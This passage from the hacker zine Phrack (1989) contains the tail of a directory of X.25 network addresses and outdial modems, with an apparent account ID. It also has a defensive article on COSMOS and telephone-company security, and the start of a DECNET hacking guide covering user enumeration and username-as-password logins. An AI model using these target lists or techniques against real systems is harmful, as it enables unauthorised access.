B 0310 600 455 5                    VAX
  0310 600 459 97
  0310 600 474 3                    TYMNET Info Service
X 0310 600 502 0                    Outdial Fairfax
  0310 600 522 9                    Uni.of Pencilvania School of Arts and
                                    Science
  0310 600 526 7                    CHANEL 01
X 0310 600 531 7                    Outdial St.Louis
B 0310 600 532 0                    DEC Soft. Serv.
  0310 600 556 9                    STRATUS/32
  0310 600 557 1                    STRATUS/32
  0310 600 560 3                    (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200      FNAL        Fermilab
B 0310 600 562 226                  Fermilab 2
B 0310 600 578 78                   BIX
B 0310 600 584 401                  Washington Post
B 0310 600 61           DIALOG1     Lockheed Info Systems
  0310 600 61*DSDDIPSSL ORBIT2      SDC Search Service
  0310 600 628 1                    EDCS
  0310 600 628 3                    EDCS
  0310 600 643 2                    EASYLINK
  0310 600 643 4                    EASYLINK
  0310 600 672 2                    International Network
  0310 600 68                       Stanford SUMEX-AIM. Tenex op syst.
  0310 600 683 2                    A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7                    Outdial NY
  0310 600 759 6                    (Host)  A - VM/370, B - VM/370
? 0310 600 787                      Dallas
  0310 601 79                       Berkley Univ.
  0310 602 88                       Stanford Research Institute
B 0310 611 467                      Cas Online Sys.
  0310 614 67                       Ohio CAS (Chemical Abstracts Service)
  0310 617 001 38                   Multics
  0310 647 911 065                  BIX Lexington Data Service
  0310 690 006 1*D      DIALOG4     Lockheed DIALOG service
B 0310 690 080 3*D      DIALOG3     Lockheed DIALOG service
  0310 690 762 6                    Emery ADO
  0311 0                TELENET     USA - Telenet
B 0311 002 130 0039                 ECLD
  0311 020 100 02000                Insco Systems
  0311 020 100 022                  New Jersey Outdial 2400 bps (Area 201)
  0311 020 100 02300                American Information Services
  0311 020 100 02400                The Information Bank
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  0311 020 100 02500              New Jersey Institute of Technology
  0311 020 100 02800              Olcott International Company
  0311 020 100 03700              Informatics Inc
  0311 020 100 169      MOUTON
  0311 020 100 301                New Jersey Outdial 1200 bps (Area 201)
  0311 020 101 59200              Scientific Process & Research Inc
  0311 020 200 02100              Scientific Timesharing
  0311 020 200 02200              Scientific Timesharing
X 0311 020 200 066                Air Force
T 0311 020 200 099      ICIB      Information Council Incorporated B system
  0311 020 200 1        TELEMAIL  US Telemail facility
X 0311 020 200 10900    CIS       Chemical Information Systems
A 0311 020 200 115                Outdial 300 bps (Area 202)
A 0311 020 200 116                Outdial 1200 bps (Area 202)
  0311 020 200 117                Distr. of Columbia Outdial 2400 bps (Area
                                  202)
B 0311 020 200 141      TELEMAIL  US Telemail facility (GT-Net)
  0311 020 200 14175    TELEENQ   Telenet Enquiry Service
  0311 020 200 14175    TELEMAIL1 US Telemail facility
  0311 020 200 14275    TELENET   US Telenet
  0311 020 201 19500              Gallaude College Computer Centre
  0311 020 300 06400              NCSS Bureau
  0311 020 300 130                Connecticut Outdial 1200 bps (Area 203)
  0311 020 301 78900              Yale University Computer Centre
  0311 020 400 02900    WATERLO   University of Waterloo
  0311 020 600 019                Washington Outdial 1200 bps (Area 206)
  0311 021 200 02000              Bowne Timesharing
  0311 021 200 02500              Interactive Market Systems (Anistics)
  0311 021 200 02800              Burroughs Corp (NYC data centre)
  0311 021 200 141      JPLM1     Jet Propulsion Laboratory mail 1, USA
  0311 021 200 142      JPLM2     Jet Propulsion Laboratory mail 2, USA
  0311 021 200 14200              GT-Net Telemail
A 0311 021 200 315                Outdial 300 bps (Area 212)
A 0311 021 200 316                Outdial 1200 bps (Area 212)
D 0311 021 200 412                Outdial 2400 bps (Area 212)
D 0311 021 200 41200              New York City Outdial (Area 212)
  0311 021 201 39200              Memorial Dose Distribution Computation
                                  Service
  0311 021 201 40600              MAV Systems (300 bps)
  0311 021 201 57800              IP Sharp Associates
  0311 021 201 58000              SDL International (1200 bps)
  0311 021 201 58500              SDL International (300 bps)
  0311 021 201 58800              DSL Systems Inc
  0311 021 201 59500              SDL International (1200 bps)
  0311 021 201 62000              Telestat System Inc
  0311 021 201 62700              Telestat Systems Inc
  0311 021 300 02200              Interactive Systems Corporation
  0311 021 300 02700              Mellonics Information Centre
  0311 021 300 029                TRW Defence & Space Systems Group
B 0311 021 300 03300    ORBIT     Orbit
  0311 021 300 03300*D  ORBIT     SDC Search Service (300 bps)
  0311 021 300 04400              SDC Search Service (1200 bps)
B 0311 021 300 039      USCAL2    Univ. of Southern California
  0311 021 300 04114    IHW       IHW
  0311 021 300 04700              University of Southern California
B 0311 021 300 048      USCAL1    University of Southern California
B 0311 021 300 170                LRS Dialog 2
T 0311 021 300 17000    DIALOG5   Lockheed Info Systems
  0311 021 300 17000*D  DIALOG2   Lockheed DIALOG service
B 0311 021 300 219      CALTECH   Caltech VAX 11/780
  0311 021 300 21908    CALTECH   Caltech VAX 11/780
  0311 021 300 21909    CALTECH2  Caltech VAX 11/780
  0311 021 300 412                California Outdial 1200 bps (Area 213)
A 0311 021 300 413                Outdial CA
  0311 021 300 668                Adainfo
  0311 021 301 353      UCLA      UCLA, USA
  0311 021 301 40300              Marshall & Swift Publication
  0311 021 400 117                Outdial 300 bps (Area 214)
A 0311 021 400 118                Texas Outdial 1200 bps (Area 214)
  0311 021 500 022                Pennsylvania Outdial 2400 bps (Area 215)
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  0311 021 500 112                Pennsylvania Outdial 1200 bps (Area 215)
A 0311 021 600 020                Outdial 300 bps (Area 216)
A 0311 021 600 021                Ohio Outdial 1200 bps (Area 216)
  0311 021 700 021                University of Illinois - Urbana
  0311 030 100 02000    NLM       National Library of Medicine
A 0311 030 100 02400              The Source
B 0311 030 100 038                The Source (ID BSC131 SR3811)
B 0311 030 100 243                ITT Dialcom
  0311 030 100 364                Primesoft
A 0311 030 100 38                 The Source
B 0311 030 100 633                Toxnet (NLM)
  0311 030 101 26500              Informatics Inc
  0311 030 300 02000              Computer Sharing Services
  0311 030 300 021                Colorado Outdial 2400 bps (Area 303)
  0311 030 300 02300              Broker Services Inc
  0311 030 300 115                Colorado Outdial 1200 bps (Area 303)
  0311 030 301 13100              EDI Computer Services
  0311 030 301 13200              EDI Computer Services
  0311 030 301 13300              Energy Enterprises
  0311 030 500 121                Florida Outdial 1200 bps (Area 305)
  0311 030 501 16300              Florida Computer Inc
D 0311 030 508 793                Miami Outdial (Area 305) ?
  0311 031 200 02200              National Computer Network of Chicago
  0311 031 200 024                Illinois Outdial 2400 bps (Area 217 ?)
  0311 031 200 03100              Continental Bank
  0311 031 200 03200              Continental Bank
  0311 031 200 04900              American Hospital Supply Corporation
  0311 031 200 411                Illinois Outdial 1200 bps (Area 217 ?)
  0311 031 201 07300              Commodity Information Services
  0311 031 268 801      ADPUSA    ADP Network Services Ltd.
  0311 031 300 024                Michigan Outdial 2400 bps (Area 313)
  0311 031 300 04000              ADP Network Services
  0311 031 300 06200              Merit International (MIT)
  0311 031 300 216                Michigan Outdial 1200 bps (Area 313)
  0311 031 301 39800              Merit Computer
  0311 031 400 07200              Environmental DataNetwork Inc.
  0311 031 401 06500              McDonnel Douglas Automation (300 bps)
  0311 031 401 06600              McDonnel Douglas Automation (110 bps)
  0311 031 401 06700              McDonnel Douglas Automation (1200 bps)
  0311 031 401 61000              McDonnel Douglas Automation (300 bps)
  0311 031 500 02000              Bibliographic Retrieval Services
A 0311 040 100 612                Modemcity
A 0311 040 400 114                Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021                California Outdial 1200 bps? (Area 408)
  0311 040 800 245                Bridge
B 0311 040 800 246                SCF
  0311 041 201 4600               On-Line Systems Inc
  0311 041 400 02000              A.O. Smith Data Systems Divisions
  0311 041 400 021                Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020                LRS-Dialog 2
A 0311 041 500 02000    DIALOG    Lockheed Information Systems
  0311 041 500 02000*D  DIALOG    Lockheed DIALOG service
B 0311 041 500 048                LRS Dialog 2
  0311 041 500 04800    DIALOG2   Lockheed Information Systems 2
  0311 041 500 04800*D  DIALOG1   Lockheed DIALOG service
  0311 041 500 117                California Outdial 1200 bps (Area 415)
I 0311 041 500 210                Outdial USA
A 0311 041 500 215                Outdial (Area 415)
A 0311 041 500 217                Outdial (Area 415)
A 0311 041 500 220                Outdial 1200 bps (Area 415)
  0311 041 500 48000              Lockheed Information Systems (?)
B 0311 041 500 607                BIONET
B 0311 041 500 609                INTELLIGENETICS
  0311 041 501 23600              Hydrocomp Inc (300 bps)
  0311 041 501 23700              Hydrocomp Inc (1200 bps)
  0311 041 501 26800              ITEL Corp (300 bps)
  0311 041 501 26900              ITEL Corp (1200 bps)
  0311 041 501 59700              Stanford Library Centre for Inform
                                  Processing
  0311 041 501 59700              Standard Centre for Information Processing
```

```
O 0311 050 006 1                    Nuclear Research
A 0311 050 300 020                  Outdial 300 bps (Area 503)
A 0311 050 300 021                  Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060                  ICN (=LASL)
B 0311 051 300 03000                Mead Data Central
  0311 051 501 39600                State University of New York
  0311 051 600 02200                Timesharing Resources
D 0311 060 200 020                  Outdial 300 bps (Area 602)
D 0311 060 200 021                  Outdial 1200 bps (Area 602)
B 0311 060 200 150                  Phoenix
  0311 060 201 60900                Timesharing Associates
B 0311 060 300 020                  Dartmouth College
  0311 060 300 02000    DARTMTH     Dartmouth College, USA
  0311 060 300 05000                Corporate Timesharing
  0311 060 301 54700                Raytheon Company Scientific Computer
                                    Service
X 0311 060 700 02000    CORNELL0    Cornell University (134.5 bps)
T 0311 060 700 02100    CORNELL1    Cornell University (300 bps)
T 0311 060 700 02200    CORNELL2    Cornell University (1200 bps)
  0311 060 700 02300    CORNELL3    Cornell University (1200 bps)
  0311 060 700 03600                TIPO Computer
  0311 060 702 00       CORNELL2    Cornell University
  0311 060 702 00       CORNELL2    Cornell University
  0311 060 800 02500                University of Wisconsin
  0311 060 801 6630                 University of Wisconsin
  0311 060 900 4200                 Dow-Jones
  0311 061 200 02500                Honeywell Inform Services Datanetwork
  0311 061 200 02700                Honeywell Inform Services Datanetwork
  0311 061 200 121                  Minnesota Outdial 1200 bps (Area 612)
  0311 061 201 06500                Honeywell Inform Services Datanetwork,
                                    300 bps
  0311 061 201 06500                Honeywell Inform Services Datanetwork
  0311 061 201 06600                Honeywell Inform Services Datanetwork,
                                    110 bps
  0311 061 201 06700                Honeywell Inform Services Datanetwork,
                                    300 bps
  0311 061 201 06900                Honeywell Inform Services Datanetwork,
                                    134 bps
B 0311 061 400 021                  CAS online
D 0311 061 400 02124    CASUSA      STN International
  0311 061 700 02000                Bolt Beranek & Newman
  0311 061 700 02300                Computer Corporation    of America
  0311 061 700 02400                AVCO Computer Services
  0311 061 700 03600                Data Resources Inc
  0311 061 700 03800                BBN-RCC
  0311 061 700 03800                Bolt Beranek & Newman
  0311 061 700 06700                Management Decision Systems Inc
  0311 061 700 07000                Interactive Science Corp
  0311 061 700 07600                Interactive Science Corp
  0311 061 700 08000                III Systems Inc
B 0311 061 700 08401                LCG
  0311 061 700 12000                Cullinane Corp
  0311 061 700 13700                Masachusetts Institute of Technology
  0311 061 700 13800                Masachusetts Institute of Technology
  0311 061 700 13900                Masachusetts Institute of Technology
  0311 061 700 14000                Masachusetts Institute of Technology
B 0311 061 700 270                  Waltham
B 0311 061 700 609                  Package
B 0311 061 700 613                  BBN10
B 0311 061 700 614                  BBNVAX
  0311 061 701 01600                Data Resources Inc (300 bps)
  0311 061 701 01900                Data Resources Inc (300 bps)
  0311 061 701 16100                First Data Division/ADP Inc
  0311 061 701 16200                First Data Division/ADP Inc
  0311 061 701 25800                Data Resources Inc (134.5 bps)
  0311 061 701 26900                Interactive Management Systems
  0311 061 701 27500                Masachusetts Institute of Technology
  0311 061 701 39000                Masachusetts Institute of Technology
  0311 061 701 40300                Masachusetts Institute of Technology
  0311 061 703 088                  Delphi
```

```
  0311 061 900 050                 California Outdial 1200 bps (Area 619)
  0311 070 300 02000               Litton Computer Services
  0311 070 300 02100               American Management Systems
  0311 070 300 056                 PRC Computer Centre Inc
  0311 070 300 117                 Virginia Outdial 2400 bps (Area 703)
B 0311 070 300 50000               NIH-EPA (CIS)
  0311 070 305 05200               Digital Broadcasting Corporation
  0311 071 300 024                 Texas Outdial 2400 bps (Area 713)
  0311 071 300 114                 Texas Outdial 1200 bps (Area 713)
  0311 071 301 08300               Corporate Services Inc
  0311 071 301 56500               Rice University
  0311 071 400 02000    SCIAPP     Science Applications Inc.
  0311 071 401 13700               Engineering Supervision Co
  0311 071 700 02000               Brodart Inc
A 0311 080 100 020                 Outdial 300 bps (Area 801)
A 0311 080 100 021                 Utah Outdial 1200 bps (Area 801)
B 0311 080 100 054                 ES
  0311 080 101 13700               Environmentech Information Systems
  0311 080 400 02000               Multiple Access Computer Group
X 0311 080 800 01046    UKIRTUK    Infra Red Telescope in Hawaii
X 0311 080 800 040      UKIRT      UK Infra Red Telescope in Hawaii
A 0311 081 300 020                 Outdial 300 bps (Area 813)
A 0311 081 300 021                 Florida Outdial 1200 bps (Area 813)
D 0311 081 305 518                 Tampa Outdial (Area 813) ?
  0311 081 800 021                 California Outdial 1200 bps (Area 818)
D 0311 090 900 80000   JPLM3      Jet Propulsion Laboratory mail 2, USA
  0311 090 900 8100                Telemail
  0311 091 400 02200               Electronic Tabulating Corporation
  0311 091 600 050                 California Outdial 1200 bps (Area 916)
A 0311 091 900 020                 Outdial 300 bps (Area 919)
A 0311 091 900 021                 Outdial 1200 bps (Area 919)
  0311 3                RCA        USA - RCA (RCAG)
  0311 9                           USA - TRT
  0312 4                           USA - FTCC
  0312 5                           USA - Uninet
  0312 521 210 1        DIALOG6    Lockheed Info Systems
D 0312 561 703 080                 UNINET
B 0312 561 703 088                 Delphi
  0312 6                AUTONET    USA - Autonet
  0312 688 01           AUTONET    AUTONET Information
  0312 7                           USA - Telenet
  0313 2                COMPU      USA - Compuserve
  0313 6                           USA - Geisco
  0334                             Mexico
  0334 0                           Telepac
  0340                  FA         French Antilles (Martinique (Curacau?))
  0340 0                           Dompac/NTI
  0342                  BDS        Barbados
  0342 235 191 9169
  0350                             Bermuda
  0350 3                           PSDS
  0425                  IL         Israel
  0425 1                           Isranet
B 0425 130 000 215                 Israelbox
  0426                  BRN        Bahrain
  0426 3                           BTC
  0431                  DXB        United Arab Emirates - Dubai
  0440                  J          Japan
  0440 1                           DDX-P
B 0440 129 431 04                  KEK VAX
B 0440 129 431 21                  Tsukuba Uni
  0440 8                VENUSP     Venus-P (Japanese data network)
I 0440 820 023                     KDD ?
B 0440 820 060 01       KDD        KDD Test Host, TOKYO
  0442
B 0442 110 403 25                  OKI
B 0442 433 403 07                  CMES
  0450                             South Korea
  0450 1                           Dacom/DNS
  0454                  HK         Hong Kong
```

```
  0454 2                          Intelpak
  0454 5                          Datapak
A 0454 550 010 4        HKDATA    Hong Kong DATAPAK Info
A 0454 550 043 1                  DATAFAX
  0487                            Taiwan
  0487 2                          Pacnet
  0487 7                          Udas
  0505                  AUS       Australia
  0505 2                          Austpac
  0505 228 621 000                Anglo/Australian Observatory
  0505 228 621 001                CSIRO Radio-Physics
  0505 228 621 001                FTP for Epping
  0505 233 422 000      MELBUNI   Melbourne Univ. Australia
A 0505 273 720 000      UQ        Univ. of Queensland Australia
A 0505 273 720 000      UQXA      University of Queensland ANF-10 gateway
D 0505 273 722 0000               Uni Queensland
  0505 282 620 000                FTP For Austek
A 0505 282 620 000                VAX in Sidney, Australia
  0505 3                          Midas
  0505 321 000 1                  Network test
  0505 321 000 3                  MIDAS FOX Test
  0510                            Indonesia
  0510 1                          PSDS (1986)
  0525                  SGP       Singapore
  0525 2                          Telepac
A 0525 211 668 8        TELEPAC   Telepac Info
  0530                  NZ        New Zealand
  0530 1                          P.S.S. (Pacnet)
  0530 171 000 004      WAIKATO   Univ of Waikato New Zealand
B 0530 197 000 016                ASMAIL
  0547                            Fr.Polyn.
  0547 0                          Tompac
  0612                            Ivory Coast
  0612 2                          Sytranpac
  0647                            Reunion
  0647 0                          Dompac/NIT
  0655                  ZA        South Africe
  0655 0                          Saponet
D 0655 011 101 207                UNI-NET
  0714                            Panama
  0714 1                          Intelpac
  0722                            Argentinia
  0722 2                          Arpac
I 0722 221 110 0171
  0724                  BR        Brazil
  0724 0                          Interdata
  0724 1                          Renpac
D 0724 782 450 8                  Nuclear Research Institute
  0730                            Chile
  0730 0                          Entel
  0732                            Colombia
  0732 0
  0742                            French Guiana
  0742 0                          Dompac/NTI
  0900                            USA ?
  0900 0                          Dialnet

================================================================================
|
| Local addresses on KOMETH (0228 479 110 86):
|
|   11  KOMETH-Informations
|  120  Modems 1200 bps (predefined numbers, some with a PW)
|  124  Modems 2400 bps (     "        "   ,  "   "    a PW)
|  130  Modems 300 bps  (     "        "   ,  "   "    a PW)
|  1D0  RZ-VAX (EZRZ1)
|  300  ETZ-VAX (CUMULI)
|  520  ETHICS, Library database
|  D11  PSI-Informations
| C000  Time
```

```
| C025  X25 Gateway (RZU, with password)
| C011  NUZ-Informations
| C100  RZU, VM/SP, full-screen
|
| There are two information systems on the RZ-VAX:
|
|  MAC-BBS  BBS with Mac-specific informations. Access for validated users
|           only (that means that you have to type in your name, address and
|           whether you're a student at the ETH or not and then wait a few
|           days).
|           (Username=MAC)
|  VisInfo  Informations server of the VIS (Verein der InformatikStudenten)
|           Contains some boards with mail from several networks and from
|           local sources.  Has a CHAT (closed during prime time hours). Free
|           access.
|           (Username=VISINFO)
|
================================================================================
|
| Local addresses at CERN (0228 468 114 0510):
|
|   17  Lyon (own network)
|   23  PAD
|   31  VXOMEG
|   41  Wisconsin/Madison
|   42  CERNLINE 193
|   45  DECserver
|   51  ALEPH
|   56  MERLIN VAX
|   61  (Prompt )
|   72  Wylbur / VM
|  100  Wylbur / VM
|  101  VM/370 CERNVM
|  102  VM/370 CERNVMB
|  103  VM/370 CERNVM
|  110  VXLDB1 VAX 8650 VMS 4.6
|  111  Information
|  112  VXSB
|  115  VXLDB1
|  120  Service CAD_CAM (VAX 8650+VAX785)/SYSTEME=VMS 4.6
|  121  CAD_CAM
|  122  VXCERN
|  123  VXCERN
|  124  BSD
|  125  CERNVM
|  127  PAD
|  130  L3 test beam VXC3
|  137  ALEPH-TPC
|  140  VXEPEL
|  141  DECserver 200 ("user friendly")
|  142  CERNADD
|  146  VXEPEL
|  147  Uni Genf TEC VAXTEC
|  151  CCVAX / DECserver 200
|  152  Uni Genf WA70
|  154  ALEPH 750 Fastbus VAX
|  161  MCR
|  162  MCR
|  166  VXWA80
|  167  cernvax
|  170  VXINFN
|  175  ALEPH
|  176  MCR with HELP
|  X29  X25 Gateway
|
================================================================================
|
| Addresses on Merit (0228 468 114 0583):
|
|  The principal host computers on Merit are:
```

Name	System/machine	Organization	Location
MSUnet-IBM	VM/CMS IBM 3090-180	Michigan State Univ	East Lansing
OU	Multics Honeywell	Oakland Univ	Rochester
UB	MTS IBM 3090-400	Univ of Michigan	Ann Arbor
UM	MTS IBM 3090-400	Univ of Michigan	Ann Arbor
WM	DECsystem-10	Western Michigan Univ	Kalamazoo
WU	MTS Amdahl 470V/8	Wayne State Univ	Detroit

If you have a question about the use of the Merit Network, call (313) 764-9423 and ask for a user consultant.

Other host computers and services available on the Merit network:

Autonet	CMU-Cyber	CMU-IBM	Datapac
DIALOUT-AA	DIAL1200-AA	DIAL2400-AA	DIAL300-AA
EMU-VAX	IGW	ITI	MAGNET
MSU-CLSI	MSU-CLVAX1	MSU-EGRNET	MSU-IBM
MSU	MTU	MTUS5	OU-SecsNet
RPI	RUAC	Survey	Telenet
UM-Annex	UM-CIC	UM-CLINFO	UM-dippy
UM-DSC	UM-EnginHarris	UM-MMVAX	UM-Public-Service
UM-QuickSlides	UM-RAVAX	UM-zippy	UMD-LIB
UMLIB	UMLIB-300	WAYNEST1	WAYNEST2
WMU-CAE	WMU-Kanga	WMU-Pooh	WMU-Puff
WMU-Tigger	WMU-Winnie	WSU-CSVAX	WSU-ET
WSUNET	ZOOnet-KCollege	ZOOnet-KVCC	ZOOnet-Nazareth

Some of the other computers and services which can be accessed via Telenet, Autonet, and Datapac:

ABA/NET	ACP	ADPNS-261	ADPNS-3
ADPNS-446	ADPNS-9	Alberta	ARTFL
Automail-23	Automail-297	Boeing	British-Columbia
BRS	Cal-Berkeley	Calgary	Caltech-HEP
Carnegie-DEC-20	Carnegie-MICOM	Carnegie-11/45	CompuServe
Comshare	Cornell	Dalhousie	DatapacInfo
Dialcom	Dialog	Dow-Jones	Guelph
Guelph-Cosy	Illinois	Illinois-Cyber	LEXIS
Manitoba	Maryland-Unix	McGill	MGH
Minnesota-Cyber	Minnesota-VAX	MIT-Multics	MIT-VM
Montreal	Natl-Lib-Med	NCAR-Telenet	New-Brunswick
Newsnet	NJIT-EIES	NLM	NLM-MCS
Notre-Dame	NRC	NYTimes	OAG
Queens	Rice	SDC	SFU

==Phrack Inc.==

Volume Three, Issue 27, File 5 of 12

COSMOS

COmputer System for Mainframe OperationS

Part Two

by King Arthur

This article will present solutions to the computer security problems presented in my previous file. The following are simple but often neglected items which if properly treated can immensely increase your company's computer security. These points apply not merely in regards to COSMOS, but to all computers in all companies.

A) Dial-Up Security:

When securing a computer system, regardless of its type, it's important to remember this: the only way someone can remotely access your system is if there is a dial-up line leading to that system. If your system has a dial-up, make sure that you have taken every possible precaution to secure that line. "The one piece of advice I would give is: Be careful with dial-up lines," says Bellcore's Ed Pinnes.

Dave Imparato, Manager of Database Management at New York Telephone, says, "We have devices that sit in front of our computers that you have to gain access to. In order to even get to COSMOS, there are three or four levels of security you have to go through, and that's before you even get to the system."

Rules for protection of Dial-Up lines:

1. Have as few dial-up lines as possible. Private lines or direct connections are often a viable replacement for dial-up lines.

2. If you must have phone lines going to your computer, use external hardware, if possible. For instance, the Datakit Virtual Circuit Switch (VCS) will require a user to specify an "access password" and a system destination to specify which system you are calling. The VCS would then connect you to the requested system which would prompt you for a login and password. Using hardware similar to this serves a double purpose:

   A) It is harder for someone to get into your computer, due to additional passwords;

   B) Employees need only dial a single number to access a number of systems.

   Another good type of hardware is a callback modem. A callback modem will prompt users for a login and password. If these are correct, the modem will automatically callback to a predetermined number. At that point you would login to the computer. The advantage of callback is that unless a call is placed from a certain phone, there is no way to connect. Unfortunately, this is not always efficient for systems with large numbers of users.

   Lastly, and the most effective means of access, is to have a system which does not identify itself. A caller has to enter a secret password, which doesn't display on the screen. If a caller doesn't type the correct password, the system will hang up, without ever telling the caller what has happened.

3. If you ever detect "hackers" calling a certain number, it is advisable to change that number. Phone numbers should be unlisted. According to a hacker, he once got the number to an AT&T computer by asking directory

assistance for the number of AT&T at 976 Main Street.

4. If dial-up lines aren't used on nights or weekends, they should be disabled. Computer hackers usually conduct their "business" on nights or weekends. The COSMOS system has the ability to restrict access by time of day.

B) Password Security:

Using the analogy between a computer and a file cabinet, you can compare a password to the lock on your file cabinet. By having accounts with no passwords you are, in effect, leaving your file cabinet wide open. A system's users will often want passwords that are easy to remember. This is not an advisable idea, especially for a database system with many users. The first passwords tried by hackers are the obvious. For instance if MF01 is known to be the user name for the frame room, a hacker might try MF01, FRAME, MDF, or MAINFRAME as passwords. If it's known to a hacker that the supervisor at the MDF is Peter Pinkerton, PETE or PINKERTON would not be very good passwords.

Rules for password selection:

1. Passwords should be chosen by system administrators or the like. Users will often choose passwords which provide no security. They should not be within the reach of everybody in the computer room, but instead should be sent via company mail to the proper departments.

2. Passwords should be changed frequently, but on an irregular basis -- every four to seven weeks is advisable. Department supervisors should be notified of password changes via mail, a week in advance. This would ensure that all employees are aware of the change at the proper time. One thing you don't want is mass confusion, where everybody is trying to figure out why they can't access their computers.

3. System administrators' passwords should be changed twice as often because they can allow access to all system resources. If possible, system administrator accounts should be restricted from logging in on a dial-up line.

4. A password should NEVER be the same as the account name. Make sure that ALL system defaults are changed.

5. Your best bet is to make passwords a random series of letters and numbers. For example 3CB06W1, Q9IF0L4, or F4W21D0. All passwords need not be the same length or format. Imparato says, "We built a program in a PC that generates different security passwords for different systems and makes sure there's no duplication."

6. It's important to change passwords whenever an employee leaves the company or even changes departments. Imparato says, "When managers leave our organization, we make sure we change those passwords which are necessary to operate the system."

7. The Unix operating system has a built-in "password aging" feature, which requires a mandatory change of passwords after a period of time. If you run any Unix-based systems, it's important to activate password aging.

8. When you feel you have experienced a problem, change ALL passwords, not just those passwords involved with the incident.

C) Site security:

There have been a number of articles written by hackers and published in 2600 Magazine dealing with garbage picking or what hackers call "trashing". It's important to keep track of what you throw out. In many companies, proprietary operations manuals are thrown out. COSMOS itself is not a user-friendly system. In other words, without previous exposure to the system it would be very difficult to operate. Bellcore's Beverly Cruse says, "COSMOS is used in so many places around the country, I wouldn't be surprised if they

found books... in the garbage, especially after divestiture. One interesting thing about a COSMOS article written by hackers, is that there was a lot of obsolete information, so it shows that wherever the information came from... it was old."

Rules for site security:

1. Although it may seem evident, employees should be required to show proper identification when entering terminal rooms or computer facilities. It's doubtful that a hacker would ever attempt to infiltrate any office, but hackers aren't the only people you have to worry about.

2. Urge employees to memorize login sequences. It's a bad idea for passwords to be scribbled on bits of paper taped to terminals. Eventually, one of those scraps may fall into the wrong hands.

3. Garbage should be protected as much as possible. If you use a private pick-up, keep garbage in loading docks, basements, or fenced-off areas. If you put your garbage out for public sanitation department pick-up, it's a good idea to shred sensitive materials.

4. Before throwing out old manuals or books, see if another department could make use of them. The more employees familiar with the system, the less of a chance that there will be a security problem.

5. Printing terminals should be inspected to make sure that passwords are not readable. If passwords are found to echo, check to see if the duplex is correct. Some operating systems allow you to configure dial-ups for printer use.

D) Employee Security:

When a hacker impersonates an employee, unless he is not successful there is a great chance the incident will go unreported. Even if the hacker doesn't sound like he knows what he's talking about, employees will often excuse the call as an unintelligent or uninformed person. It's unpleasant to have to worry about every call with an unfamiliar voice on the other end of the phone, but it is necessary.

Rules for employee security:

1. When making an inter-departmental call, always identify yourself with: 1) Your name; 2) Your title; and 3) Your department and location.

2. Be suspicious of callers who sound like children, or those who ask you questions that are out of the ordinary. Whenever someone seems suspicious, get their supervisor's name and a callback number. Don't discuss anything sensitive until you can verify their identity. Don't ever discuss passwords over the phone.

3. When there is a security problem with a system, send notices to all users instructing them not to discuss the system over the phone, especially if they do not already know the person to whom they are talking.

4. Remind all dial-up users of systems, before hanging up.

5. If security-minded posters are put up around the workplace, employees are bound to take more care in their work and in conversations on the phone.

6. If managers distribute this and other computer security articles to department supervisors employee security will be increased.

E) General Security:

Bellcore recently sent a package to all system administrators of COSMOS systems. The package detailed security procedures which applied to COSMOS and Unix-based systems. If you are a recipient of this package, you should re-read it thoroughly to ensure that your systems are secure. Cruse says, "Last

year... I had a call from someone within an operating company with a COSMOS security problem. All we really did was give them documentation which reminded them of existing security features... There is built-in security in the COSNIX operating system... We really didn't give them anything new at the time. The features were already there; we gave them the recommendation that they implement all of them."

If you feel you may not be using available security features to the fullest, contact the vendors of your computer systems and request documentation on security. Find out if there are security features that you may not be currently taking advantage of. There are also third party software companies that sell security packages for various operating systems and computers.

Computer security is a very delicate subject. Many people try to pretend that there is no such thing as computer crime. Since the problem exists, the best thing to do is to study the problems and figure out the best possible solutions. If more people were to write or report about computer security, it would be easier for everyone else to protect themselves. I would like to see Bellcore publish security guidelines, available to the entire telecommunications industry. Keep in mind, a chain is only as strong as its weakest link.

==Phrack Inc.==

Volume Three, Issue 27, File 6 of 12

Looking Around In DECNET

by Deep Thought of West Germany

June 1, 1989

Disclaimer: I take no responsibility for any use or abuse of the information contained in this article, nor for any damage caused by the use of methods described. DECNET, VAX, and VMS are possibly registered trademarks of Digital Equipment Corporation.

There comes a time when every somewhat intelligent programmer asks: Is hacking difficult? Now, being in a university network, why don't just give it a try? Since one is an official student and somewhat authorized to use the computing facilities, testing the modern means of communication should cause no trouble.

Well, you start searching on those nodes, you have official access for interesting programs and procedures. And you find: Netdcl, just one program of many, that obviously enables one to run commands on remote nodes without having an account on these nodes. A really interesting thing, as nearly everything is allowed that a normal user can do.

The dear reader may start to think: Wasn't there always the shouting about VMS being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok, cool down, this feature can be disabled and so, you think, if someone has super secret data on his VAX, he will stop any use or abuse of this feature.

2nd Act -- Somewhere one has heard about some mystery things called system calls. Since one always wanted to know about how to react on keystrokes on a VAX (really being not trivial!) you start reading the manuals more precisely to find out how to do it in Pascal.

Randomly on browsing thru the pages you discover functions which deliver information about Userids. This comes in handy, as a friend engaged in university politics wants to distribute a leaflet by email to all registered users. In fact, it's completely unproblematic to gain a list of all users. An example program, although written in Assembler, is even contained in the manuals. Enjoy a list of 1000 Userids complete with information about network access rights. The Pascal program is contained in Appendix B (later in this file).

Sorry, passwords are not stored in this list. Even the Sysop can't access them, so that's no great loss. Guess what passwords many accounts have? Sure, just try the username. It's really amazing how ignorant users can be. Of course this is a problem of group-accounts, that many users have access to and must know the password. Nevertheless, the hole is there.

The real hacker, once he has logged in on such an account surely finds ways to gain system privilege. This requires in-depth knowledge of the Kernel of VMS and is another story I won't deal with.

What is DECNET?

DECNET is the means, by which computers from Digital Equipment Corporation (DEC) can be connected to each other. Each computer in this network has an address which is normally given by x.y where x is the area number (an integer) and y is the node number in this area which ranges from 1 to 1023. To access DECNET nodes, one specifies just one number, which can be computed from x and y by the following formula:

```
   nodenumber = x * 1024 + y
```

Often nodes, especially local nodes (having the same area number as your current node) have names assigned to them so they can be memorized more easily.

Interesting DECNET Commands

To get a (first) list of available DECNET nodes, try the command

```
   $ SHOW NET
```

The $ (as in the following examples) is the default prompt of VMS and should not be entered. This Command will give you a list of (hopefully) reachable nodes. All lines of the output contain the network address in the form x.y and normally a name which this node is known by.

